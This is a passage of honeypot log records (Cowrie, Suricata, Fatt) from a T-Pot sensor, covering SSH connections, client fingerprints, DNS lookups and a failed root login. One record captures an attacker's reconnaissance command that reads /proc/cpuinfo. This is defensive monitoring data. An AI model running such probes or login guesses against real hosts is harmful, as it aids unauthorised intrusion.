26780	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:04.626182+03	2021-09-20 14:15:13.719677+03	{"_id": "jAboAnwBvYTbRNuE0CPt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/@] failed", "session": "81bcbe08f1e5", "@version": "1", "password": "@", "username": "root", "timestamp": "2021-09-20T11:13:04.626182Z", "@timestamp": "2021-09-20T11:13:04.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26781	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:04.674133+03	2021-09-20 14:15:13.720674+03	{"_id": "jQboAnwBvYTbRNuE0iP1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1034118280299201, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36896, "dest_port": 22, "timestamp": "2021-09-20T11:13:04.674133Z", "@timestamp": "2021-09-20T11:13:04.674Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26799	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:06.994413+03	2021-09-20 14:15:13.745647+03	{"_id": "zAboAnwBvYTbRNuE3COk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5115ca8944ee", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:06.994413Z", "@timestamp": "2021-09-20T11:13:06.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26782	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:04.925865+03	2021-09-20 14:15:13.722647+03	{"_id": "jgboAnwBvYTbRNuE0iP1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 969839799749115, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7192, "dest_port": 22, "timestamp": "2021-09-20T11:13:04.925865Z", "@timestamp": "2021-09-20T11:13:04.925Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26783	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:04.94502+03	2021-09-20 14:15:13.723644+03	{"_id": "kQboAnwBvYTbRNuE1CMg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7192, "dest_port": 22, "timestamp": "2021-09-20T11:13:04.945020", "@timestamp": "2021-09-20T11:13:04.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26784	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:04.675463+03	2021-09-20 14:15:13.725667+03	{"_id": "kAboAnwBvYTbRNuE1CMg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36896, "dest_port": 22, "timestamp": "2021-09-20T11:13:04.675463", "@timestamp": "2021-09-20T11:13:04.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26785	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:04.659269+03	2021-09-20 14:15:13.726674+03	{"_id": "lAboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "128.199.123.0", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.34668827056884766, "duplicate": true, "timestamp": "2021-09-20T11:13:04.659269Z", "@timestamp": "2021-09-20T11:13:04.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26792	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:13:06.980548+03	2021-09-20 14:15:13.735677+03	{"_id": "tAboAnwBvYTbRNuE2iPG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31138, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1859, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1542897958841532, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 54064, "timestamp": "2021-09-20T11:13:06.980548Z", "@timestamp": "2021-09-20T11:13:06.980Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26786	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:04.67597+03	2021-09-20 14:15:13.727674+03	{"_id": "lQboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "65aef3c283f0", "@version": "1", "timestamp": "2021-09-20T11:13:04.675970Z", "@timestamp": "2021-09-20T11:13:04.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26787	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:04.948228+03	2021-09-20 14:15:13.729674+03	{"_id": "lgboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:04.948228Z", "@timestamp": "2021-09-20T11:13:04.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26788	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:04.947663+03	2021-09-20 14:15:13.730688+03	{"_id": "mgboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:04.947663Z", "@timestamp": "2021-09-20T11:13:04.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26789	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:13:06.128112+03	2021-09-20 14:15:13.732648+03	{"_id": "oQboAnwBvYTbRNuE1iPf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64551, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1860, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 237466271543124, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 39781, "timestamp": "2021-09-20T11:13:06.128112Z", "@timestamp": "2021-09-20T11:13:06.128Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26790	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:06.178157+03	2021-09-20 14:15:13.733682+03	{"_id": "owboAnwBvYTbRNuE2CMJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34918, "dest_port": 443, "timestamp": "2021-09-20T11:13:06.178157", "@timestamp": 